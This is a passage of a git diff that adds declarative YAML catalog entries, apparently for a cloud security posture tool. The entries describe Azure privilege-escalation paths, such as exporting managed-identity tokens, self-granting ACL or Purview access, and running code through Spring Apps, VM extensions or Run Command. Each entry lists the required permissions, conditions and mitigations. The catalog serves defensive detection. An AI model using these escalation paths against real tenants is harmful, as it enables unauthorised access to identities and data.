src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftmachinelearningservicesworkspacesread--microsoftmachinelearningservicesworkspacescomputesapplicationaccessaction + source_revision: c4ba8da4a3 + summary: The source can use managed identities on a personal or shared compute instance whose applications it may access. + requires: + all_of: + - action: Microsoft.MachineLearningServices/workspaces/read + scope: '*' + - action: Microsoft.MachineLearningServices/workspaces/computes/applicationaccess/action + scope: '*' + target: + kind: azure_managed_identity + selector: + azure_ml_compute_application_identity_path: true + scope: inherited_scope + aggregate_as: Identities of ML compute {target.host_resource} + conditions: + - id: instance_running + description: The instance must run before its applications can be accessed; a stopped instance needs the separate start permission. + - id: network_reachable + description: The source must reach the instance application endpoints. + blockers: [] + confidence: conditional + severity: high + mitigation: Keep compute-instance identities least-privileged; they are usable by the assigned user. + references: + - https://learn.microsoft.com/en-us/azure/templates/microsoft.machinelearningservices/2021-01-01/workspaces/computes + - https://learn.microsoft.com/en-us/azure/machine-learning/how-to-create-manage-compute-instance + notes: Personal access requires the assigned user or recorded creator. Shared application policy may allow a workspace user with the required role; either route needs a running or startable instance. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/managed_applications.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/managed_applications.yaml new file mode 100644 index 0000000000..741072ba96 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/managed_applications.yaml @@ -0,0 +1,34 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Managed Applications techniques (declarative only). +# Source: hacktricks-cloud az-managed-applications-privesc.md (rev 171e422). + +- id: azure-managedapp-list-tokens + provider: azure + service: managed_applications + title: Export access tokens of a managed application's managed identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-managed-applications-privesc.md#listtokens--cross-tenant-managed-identity-token-export-marquee + source_revision: 171e422 + summary: The source can obtain bearer tokens for the managed application's managed identity and act with its privileges. + requires: + all_of: + - action: Microsoft.Solutions/applications/listTokens/action + scope: '*' + target: + kind: azure_managed_identity + selector: + azure_managedapp_listtokens_path: true + scope: inherited_scope + aggregate_as: "Managed identities of managed application {target.host_resource}" + conditions: [] + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict applications/listTokens/action, review publisher authorizations on managed applications, and keep managed application identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/azure-resource-manager/managed-applications/publish-managed-identity + notes: listTokens returns a token for an arbitrary audience (ARM, Graph, Key Vault, Storage). Publisher-tenant principals holding the action through managed-app authorizations are outside the customer snapshot; customer-tenant holders (for example Contributor on the application) are modelled. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/managed_grafana.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/managed_grafana.yaml new file mode 100644 index 0000000000..60c29bdbef --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/managed_grafana.yaml @@ -0,0 +1,37 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Managed Grafana techniques (declarative only). +# Source: hacktricks-cloud az-managed-grafana-privesc.md (rev 171e422; re-reviewed at a66f094ede). + +- id: azure-grafana-act-as-admin + provider: azure + service: managed_grafana + title: Grafana Admin through the ActAsGrafanaAdmin data action + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-managed-grafana-privesc.md#microsoftdashboardgrafanaactasgrafanaadminaction + source_revision: db5b136660 + summary: The source can obtain Grafana Admin on the workspace, including use of its configured data sources. + requires: + all_of: + - action: Microsoft.Dashboard/grafana/ActAsGrafanaAdmin/action + data_action: true + scope: "{target.scope}" + target: + kind: azure_dataplane_admin + selector: + azure_resource_type: Microsoft.Dashboard/grafana + scope: inherited_scope + aggregate_as: "Grafana admins of {target.scope}" + conditions: + - id: datasource_identity + description: Data sources configured with the workspace managed identity let Grafana Admin query whatever that identity can read; this partial identity use is configuration-dependent. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict the Grafana Admin role assignment and keep the workspace identity read-scoped. + references: + - https://learn.microsoft.com/en-us/azure/managed-grafana/how-to-manage-access-permissions-users-identities + - https://learn.microsoft.com/en-us/azure/managed-grafana/how-to-authenticate-data-plane-api + notes: The data action grants Grafana Admin on each collected Grafana workspace covered by the role assignment. The target is the workspace's application-plane administrator, not an unrelated Azure resource or its managed identity. Access to a configured data source depends on that data source's authentication and network path. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/purview.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/purview.yaml new file mode 100644 index 0000000000..7a79e5c561 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/purview.yaml @@ -0,0 +1,41 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Microsoft Purview techniques (declarative only). +# Source: hacktricks-cloud az-purview-privesc.md (rev 171e422). +# Action names checked against the Azure RBAC permissions reference (Analytics > Microsoft.Purview). + +- id: azure-purview-add-root-collection-admin + provider: azure + service: purview + title: Add a principal as Purview root collection administrator from the ARM control plane + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-purview-privesc.md#microsoftpurviewaccountsaddrootcollectionadminaction--root-collection-administrator-grant + source_revision: 79c56e647f + summary: The source can make itself (or any principal) root collection administrator of the Purview account, the top of the Purview data-plane role hierarchy. + requires: + all_of: + - action: Microsoft.Purview/accounts/addrootcollectionadmin/action + scope: "{target.scope}" + target: + kind: azure_dataplane_admin + selector: + any_principal_in_scope: true + azure_resource_type: Microsoft.Purview/accounts + scope: inherited_scope + aggregate_as: "Purview root collection admin of {target.scope}" + conditions: + - id: purview_dataplane_only + description: The gain is Purview data-plane administration (collection roles, data sources, scan credentials, access policies); it does not yield a token for the Purview account's managed identity or for scan credentials stored in Key Vault. + - id: root_admin_api_authorization + description: Microsoft Purview guidance says the root-admin API requires Owner or User Access Administrator on the account, even though the action is included in broader ARM roles; a role grant alone may not suffice. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Remove addrootcollectionadmin/action from broad roles (it is included in Contributor) with a custom role or deny assignment, and review Purview root collection role membership. + references: + - https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/analytics#microsoftpurview + - https://learn.microsoft.com/en-us/purview/how-to-create-and-manage-collections + notes: ARM RBAC grants the action to roles including Contributor, but Microsoft Purview guidance also states an Owner or User Access Administrator requirement for the API. Until that extra check is verified on an account, show a conditional path. The resulting grant lives in the Purview role model, not Azure RBAC. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/self_permission_grants.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/self_permission_grants.yaml new file mode 100644 index 0000000000..c1454ad656 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/self_permission_grants.yaml @@ -0,0 +1,93 @@ +# catalog_description: Active Azure entries require a named source principal, a concrete +# action, and a verified target principal or additional effective permission. A write +# action alone is insufficient: these self-grants require exact before/after evidence. +# Canonical policy: peaso/privesc/catalog_policy.yaml +- id: azure-purview-policy-self-grant + provider: azure + service: purview + title: Grant oneself governed SQL or Storage access through a Purview policy + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-purview-privesc.md#microsoftpurviewpolicyelementswrite--purview-access-policies-into-governed-sqlstorage + source_revision: 90f2568978 + summary: A verified Purview Policy Author publishes a named policy element granting itself new, verified SQL read or Storage read or write access on the exact governed resource. + requires: + all_of: + - action: Microsoft.Purview/policyElements/write + scope: "{target.scope}" + data_action: true + target: + kind: azure_verified_authority + selector: + azure_challenge_fact: azure-purview-policy-self-grant + scope: inherited_scope + outcome: permission_grant + aggregate_as: Verified Purview self-grants on {target.resource} + conditions: + - id: exact_self_grant + description: A source-bound review must verify the Purview Policy Author role, named policy element, exact account and governed source, publication, the source as grantee, prior denial, and effective new access. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict Purview policy-element writes and review policy changes that grant access to the writer. + references: + - https://learn.microsoft.com/en-us/purview/how-to-create-data-policy + notes: The reviewed Purview Policy Author fact supplies the data-action capability; an ARM role grant is not required or sufficient. The target source must be supported and policy enforcement enabled. SQL Modify is not supported. Generic Status=verified records cannot create a path. + +- id: azure-storage-adls-acl-self-grant + provider: azure + service: storage + title: Give oneself new ADLS Gen2 path access by changing its ACL + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#hns-acl-takeover-and-blob-super-user-data-action + source_revision: 092aafb5cb + summary: A principal with modifyPermissions on an exact ADLS Gen2 path changes that path's ACL to gain a verified read, write, or execute permission it previously lacked. + requires: + all_of: + - action: Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action + scope: "{target.scope}" + data_action: true + target: + kind: azure_verified_authority + selector: + azure_challenge_fact: azure-storage-adls-acl-self-grant + scope: inherited_scope + outcome: permission_grant + aggregate_as: Verified ADLS Gen2 self-grants on {target.resource} + conditions: + - id: exact_self_grant + description: A source-bound review must identify an exact ADLS path in an HNS-enabled account, its new ACL permission for the source, prior denial, and verified access after the grant. + blockers: [] + confidence: conditional + severity: high + mitigation: Limit ACL modification rights on protected ADLS Gen2 paths and monitor self-directed ACL changes. + references: + - https://learn.microsoft.com/en-us/azure/storage/blobs/data-lake-storage-access-control + notes: Uses azure_privesc_challenge_evidence with the typed azure_self_grants contract; a generic ACL write or blob read does not suffice. + +- id: azure-storage-files-acl-self-grant + provider: azure + service: storage + title: Give oneself new Azure Files access by changing NTFS permissions + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountsfileservicesfilesharesfilesmodifypermissionsaction + source_revision: 9fa167259a + summary: A principal with modifypermissions on an Azure Files share changes the ACL of an exact file or directory and gains a verified read, write, or execute permission it previously lacked. + requires: + all_of: + - action: Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action + scope: "{target.scope}" + data_action: true + target: + kind: azure_verified_authority + selector: + azure_challenge_fact: azure-storage-files-acl-self-grant + scope: inherited_scope + outcome: permission_grant + aggregate_as: Verified Azure Files self-grants on {target.resource} + conditions: + - id: exact_self_grant + description: A source-bound review must identify the data-plane fileshares share and exact file or directory path, its new NTFS permission for the source, prior denial, and verified access after the grant. + blockers: [] + confidence: conditional + severity: high + mitigation: Limit NTFS permission modification rights on protected shares and monitor self-directed ACL changes. + references: + - https://learn.microsoft.com/en-us/azure/storage/files/storage-files-identity-ad-ds-configure-permissions + notes: Uses azure_privesc_challenge_evidence with the typed azure_self_grants contract. TargetId identifies the exact file or directory as the share data-plane ID plus /files/path; TargetScope and ActionResourceId are the share ID. A grant at a control-plane /shares/ path does not suffice. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/service_fabric.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/service_fabric.yaml new file mode 100644 index 0000000000..87705c5219 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/service_fabric.yaml @@ -0,0 +1,55 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Service Fabric techniques (declarative only). +# Source: hacktricks-cloud az-service-fabric-privesc.md (rev 171e422). +# Action names checked against the Azure RBAC permissions reference (Compute > Microsoft.ServiceFabric); +# RBAC matching is case-insensitive (the reference spells managedclusters / nodetypes in lower case). +# Cluster nodes are VM scale sets; the cluster -> node VMSS link is not collected, so node-identity +# targets use azure_host_linked_to_pivot (unknown until collected). + +- id: azure-servicefabric-application-user-assigned-identity + provider: azure + service: service_fabric + title: Deploy a Service Fabric application bound to a user-assigned identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-service-fabric-privesc.md#managed-identity-token-theft-via-the-sf-token-service + source_revision: 8c54da7d5c + summary: An attacker-supplied application bound to a user-assigned identity obtains that identity's tokens from the Service Fabric token service. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: "{target.id}" + any_of: + - - action: Microsoft.ServiceFabric/managedClusters/applicationTypes/write + scope: "*" + - action: Microsoft.ServiceFabric/managedClusters/applicationTypes/versions/write + scope: "*" + - action: Microsoft.ServiceFabric/managedClusters/applications/write + scope: "*" + - - action: Microsoft.ServiceFabric/clusters/applicationTypes/write + scope: "*" + - action: Microsoft.ServiceFabric/clusters/applicationTypes/versions/write + scope: "*" + - action: Microsoft.ServiceFabric/clusters/applications/write + scope: "*" + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_servicefabric_application_uami_path: true + scope: any + aggregate_as: "User-assigned identities in writable Service Fabric applications" + conditions: + - id: cluster_managed_identity_token_service + description: Managed clusters enable the token service when an identity-enabled application is deployed; classic clusters must have the token service enabled and the application must map the identity to its service. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and Service Fabric application writes; keep application identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/service-fabric/concepts-managed-identity + - https://learn.microsoft.com/en-us/azure/service-fabric/how-to-managed-identity-service-fabric-app-code + notes: The source must be able to write the application type, version, and application under one inventoried cluster and assign the exact UAMI. Application deployment and service identity mapping remain conditional. Other node code cannot use an application's identity without its per-activation secret; node scale-set identities are modeled separately. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/spring_apps.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/spring_apps.yaml new file mode 100644 index 0000000000..17a50ddbe0 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/spring_apps.yaml @@ -0,0 +1,77 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Spring Apps techniques (declarative only). +# Source: hacktricks-cloud az-spring-apps-privesc.md (rev f4dab1c063). +# Action names checked against Microsoft's Spring Apps custom-role permission lists (how-to-permissions). +# App identities live on Microsoft.AppPlatform/Spring/apps; {target.host_resource} is that app. + +- id: azure-springapps-deployment-write-app-identity + provider: azure + service: spring_apps + title: Change a Spring Apps deployment to run attacker code as the app's managed identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#app-deploy-rce--managed-identity-theft-marquee + source_revision: f4dab1c063 + summary: The source can run code inside a Spring app and obtain the privileges of the managed identities attached to that app. + requires: + all_of: + - action: Microsoft.AppPlatform/Spring/apps/deployments/write + scope: "*" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.AppPlatform/Spring/apps + azure_spring_deployment_identity_path: true + scope: inherited_scope + aggregate_as: "Managed identities of Spring app {target.host_resource}" + conditions: + - id: code_source + description: Code reaches the app through a new artifact (upload URL from apps/getResourceUploadUrl/action, or Enterprise buildServices upload plus builds/write), a custom container image from a reachable registry, or a JVM option / environment variable on the existing deployment that loads code already present or mountable in the container. + - id: deployment_running + description: The modified deployment must be started or restarted (deployments/write normally triggers a rollout). + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict apps/deployments/write to deployment pipelines, keep Spring app identities least-privileged, and alert on deployment changes to jvmOptions, environment variables or container images. + references: + - https://learn.microsoft.com/en-us/azure/spring-apps/basic-standard/how-to-permissions + - https://learn.microsoft.com/en-us/azure/spring-apps/basic-standard/how-to-enable-system-assigned-managed-identity + notes: Covers system- and user-assigned app identities. The write must authorize a deployment child of the app carrying the identity; apps/write is not required. Azure Spring Apps Basic/Standard/Enterprise are in a retirement period ending 2028. + +- id: azure-springapps-app-write-user-assigned-identity + provider: azure + service: spring_apps + title: Create or update a Spring app with a user-assigned identity and deploy code to it + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#app-deploy-rce--managed-identity-theft-marquee + source_revision: f4dab1c063 + summary: The source can attach a user-assigned identity it may assign to a Spring app and run code as that identity. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: "{target.id}" + - action: Microsoft.AppPlatform/Spring/apps/write + scope: "{pivot}" + - action: Microsoft.AppPlatform/Spring/apps/deployments/write + scope: "{pivot}" + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_spring_app_uami_path: true + scope: inherited_scope + aggregate_as: "User-assigned identities assignable in {scope}" + conditions: + - id: code_source + description: Code reaches the app through an uploaded artifact, a custom container image, or deployment JVM options / environment variables. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and Spring apps/write; keep user-assigned identities scoped to the workloads that need them. + references: + - https://learn.microsoft.com/en-us/azure/spring-apps/basic-standard/how-to-permissions + - https://learn.microsoft.com/en-us/azure/spring-apps/basic-standard/how-to-manage-user-assigned-managed-identities + notes: App and deployment permissions must authorize one app under an inventoried Spring Apps service; assignment must authorize the exact user-assigned identity. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/storage-local-v7.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/storage-local-v7.yaml new file mode 100644 index 0000000000..4c7d489850 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/storage-local-v7.yaml @@ -0,0 +1,117 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +- id: azure-audit-microsoftstoragestorageaccountslocaluserswrite-microsoftstoragestorageac + provider: azure + service: storage + title: Replace an existing Storage SFTP local user credential + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountslocaluserswrite-microsoftstoragestorageaccountslocalusersread + summary: The source can obtain the observed container permissions of this existing + Storage local SFTP user by writing an SSH credential it controls. This service + identity has no Entra or ARM authority. + requires: + all_of: + - action: Microsoft.Storage/storageAccounts/localUsers/write + scope: '{target.scope}' + target: + kind: azure_storage_local_user + selector: + azure_storage_local_credential: write_credential + scope: inherited_scope + outcome: credentials + conditions: + - id: sftp_runtime_network_and_credential_use + description: The source must perform the allowed credential operation and reach + the account SFTP endpoint. Only this local user and its observed container permission + scopes are gained; no Entra or ARM authority follows. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict the listed action to principals that need this service privilege. + references: + - https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage + notes: Existing local users only. Requires explicit enabled SFTP/local-user settings, + unique complete local-user inventory, and the exact existing containers named + in permissionScopes. The reset path also requires existing SSH password authentication. + Missing facts stay UNKNOWN; no credentials are generated or read. Creating a new + local user or expanding its permissions is outside this bounded path. + source_kind: + - azure_user + - azure_service_principal + - azure_managed_identity + source_revision: 658a097d5c +- id: azure-storage-local-user-create-with-sftp-access + provider: azure + service: storage + title: Create a Storage SFTP local user with container access + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountslocaluserswrite-microsoftstoragestorageaccountslocalusersread + source_revision: 658a097d5c + summary: The source can create an SFTP local user with its own SSH key and read permission on an existing container. The new identity has no Entra or ARM authority. + requires: + all_of: + - action: Microsoft.Storage/storageAccounts/localUsers/write + scope: '{target.scope}' + target: + kind: azure_storage_local_user + selector: + azure_storage_local_credential: create_credential + scope: inherited_scope + outcome: credentials + conditions: + - id: sftp_runtime_network_and_credential_use + description: The source must create the user with its SSH key and reach the storage account SFTP endpoint. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict localUsers/write on SFTP-enabled storage accounts to administrators who need to manage local users. + references: + - https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support-authorize-access + notes: Requires verified enabled SFTP and local-user settings, complete user inventory to choose an unused name, and at least one inventoried Blob container. The listed read permission is assignable to a new service identity; no user or credential is actually created by the analyzer. + source_kind: + - azure_user + - azure_service_principal + - azure_managed_identity +- id: azure-audit-microsoftstoragestorageaccountslocalusersregeneratepasswordaction + provider: azure + service: storage + title: Regenerate an existing Storage SFTP local user password + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountslocalusersregeneratepasswordaction + summary: The source can obtain the observed container permissions of this existing + Storage local SFTP user by regenerating its enabled SSH password. This service + identity has no Entra or ARM authority. + requires: + all_of: + - action: Microsoft.Storage/storageAccounts/localUsers/regeneratePassword/action + scope: '{target.scope}' + target: + kind: azure_storage_local_user + selector: + azure_storage_local_credential: reset_password + scope: inherited_scope + outcome: credentials + conditions: + - id: sftp_runtime_network_and_credential_use + description: The source must perform the allowed credential operation and reach + the account SFTP endpoint. Only this local user and its observed container permission + scopes are gained; no Entra or ARM authority follows. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict the listed action to principals that need this service privilege. + references: + - https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage + notes: Existing local users only. Requires explicit enabled SFTP/local-user settings, + unique complete local-user inventory, and the exact existing containers named + in permissionScopes. The reset path also requires existing SSH password authentication. + Missing facts stay UNKNOWN; no credentials are generated or read. Creating a new + local user or expanding its permissions is outside this bounded path. + source_kind: + - azure_user + - azure_service_principal + - azure_managed_identity + source_revision: 658a097d5c diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/storage.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/storage.yaml new file mode 100644 index 0000000000..32bb9e62ec --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/storage.yaml @@ -0,0 +1,34 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +- id: azure-storage-blob-content-credential + provider: azure + service: storage + title: Read Entra credentials embedded in blobs + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#read-a-verified-credential-from-a-blob + source_revision: 2cd8240244 + summary: Read a verified usable credential from a readable blob and gain its Entra service principal permissions. + requires: + all_of: + - action: Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read + scope: '{pivot}' + data_action: true + pivot_resource_type: Microsoft.Storage/storageAccounts + target: + kind: azure_service_principal + selector: + credential_stored_in_scope: '{pivot}' + scope: any + aggregate_as: Verified credential holders in {pivot} + conditions: + - id: verified_credential + description: Only a verified usable service-principal credential in the exact blob content creates this edge; the source must have effective read access to that blob. + blockers: [] + confidence: conditional + severity: high + mitigation: Remove reusable Entra credentials from the content and restrict the listed read permission. + references: + - https://learn.microsoft.com/en-us/rest/api/storageservices/get-blob + notes: Reviewed azure_privesc_challenge_evidence must identify the exact BlobResourceId, verified returned content, a usable credential, and its named Entra service principal. Missing or incomplete review creates no path. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/synapse.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/synapse.yaml new file mode 100644 index 0000000000..d4f109a038 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/synapse.yaml @@ -0,0 +1,39 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Synapse techniques (declarative only). +# Source: hacktricks-cloud az-synapse-privesc.md (rev f9d46eadb8). + +- id: azure-synapse-entra-admin-write + provider: azure + service: synapse + title: Replace the Synapse workspace Entra administrator + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-synapse-privesc.md#replace-the-workspace-microsoft-entra-administrator + source_revision: f9d46eadb8 + summary: The source can become the Microsoft Entra administrator for the Synapse workspace dedicated SQL endpoint and manage its user databases. + requires: + all_of: [] + any_of: + - - action: Microsoft.Synapse/workspaces/administrators/write + scope: "*" + - - action: Microsoft.Synapse/workspaces/sqlAdministrators/write + scope: "*" + target: + kind: azure_dataplane_admin + selector: + azure_resource_type: Microsoft.Synapse/workspaces + azure_synapse_entra_admin_path: true + scope: inherited_scope + aggregate_as: "Synapse SQL admins of {target.scope}" + conditions: + - id: sql_endpoint_reachable + description: Workspace firewall or private networking must allow the source to reach the SQL endpoint. + blockers: [] + confidence: conditional + severity: critical + mitigation: Restrict administrators/write and sqlAdministrators/write and alert on Entra admin changes. + references: + - https://learn.microsoft.com/en-us/azure/synapse-analytics/security/how-to-set-up-access-control + notes: The selected principal must be controlled by the source, and the write must authorize the activeDirectory child of an inventoried Synapse workspace. Applies to the dedicated SQL endpoint; does not grant Synapse RBAC administrator or serverless SQL access. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/virtual_machines.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/virtual_machines.yaml new file mode 100644 index 0000000000..30ba6820a0 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/virtual_machines.yaml @@ -0,0 +1,433 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Virtual Machines privilege escalation techniques. +# Source: hacktricks-cloud az-virtual-machines-and-network-privesc.md (rev 171e422). +# Placeholder conventions: see catalog/azure/authorization.yaml header. +# All in-guest code execution reaches the identities exposed by IMDS: the VM's system-assigned +# identity and every user-assigned identity attached to it. + +- id: azure-vm-extensions-write + provider: azure + service: virtual_machines + title: Deploy or update a VM extension to run code in the guest + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputevirtualmachinesextensionswrite + source_revision: 3b8bc91615 + summary: Custom Script, DSC, VMAccess, Hybrid Worker or third-party (Salt, Chef) extensions give root/SYSTEM code execution in the VM and thus tokens of its managed identities. + requires: + all_of: + - action: Microsoft.Compute/virtualMachines/extensions/write + scope: "*" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Compute/virtualMachines + azure_vm_extension_execution_path: true + scope: inherited_scope + aggregate_as: "Managed identities of VM {target.host_resource}" + conditions: + - id: vm_agent_running + description: The VM must be running with a healthy VM agent to process an executable extension. A stopped VM also requires start/action. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict Microsoft.Compute/virtualMachines/extensions/write (Virtual Machine Contributor, Contributor), use Azure Policy to allow-list extension publishers/types, and keep VM identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/virtual-machines/extensions/features-windows + notes: The permission must cover a child extension of the same inventoried VM that carries the target identity. Known monitoring-only handlers do not imply code execution; unclassified existing handlers remain unresolved. VMAccess password/SSH-key reset may need extra CLI permissions. Scale-set model extensions are modelled separately in azure-vmss-model-write. + +- id: azure-vm-runcommand-action + provider: azure + service: virtual_machines + title: Invoke Run Command on a VM + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputevirtualmachinesruncommandaction + source_revision: bc194cb834 + summary: Run Command executes scripts as root/SYSTEM through the VM agent, exposing the VM's managed identities. + requires: + all_of: + - action: Microsoft.Compute/virtualMachines/runCommand/action + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Compute/virtualMachines + azure_vm_runcommand_action_path: true + scope: inherited_scope + aggregate_as: "Managed identities of VM {target.host_resource}" + conditions: + - id: vm_agent_running + description: The VM must be running with a healthy VM agent; a stopped VM also requires start/action on that VM. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict runCommand/action (Virtual Machine Contributor, Contributor) and alert on Run Command usage. + references: + - https://learn.microsoft.com/en-us/azure/virtual-machines/windows/run-command + - https://learn.microsoft.com/en-us/rest/api/compute/virtual-machines/run-command?view=rest-compute-2026-04-01 + notes: The action is checked on the exact inventoried VM carrying the target identity. Agent health and script execution remain conditional. + +- id: azure-vm-managed-runcommands-write + provider: azure + service: virtual_machines + title: Create a managed Run Command child resource on a VM + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputevirtualmachinesruncommandswrite + source_revision: 90afe8b1b3 + summary: Creating or replacing a managed Run Command can execute a supplied script as root/SYSTEM, exposing the VM's managed identities. + requires: + all_of: + - action: Microsoft.Compute/virtualMachines/runCommands/write + scope: "*" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Compute/virtualMachines + azure_vm_managed_runcommand_path: true + scope: inherited_scope + aggregate_as: "Managed identities of VM {target.host_resource}" + conditions: + - id: vm_agent_running + description: The VM must be running with a healthy VM agent; a 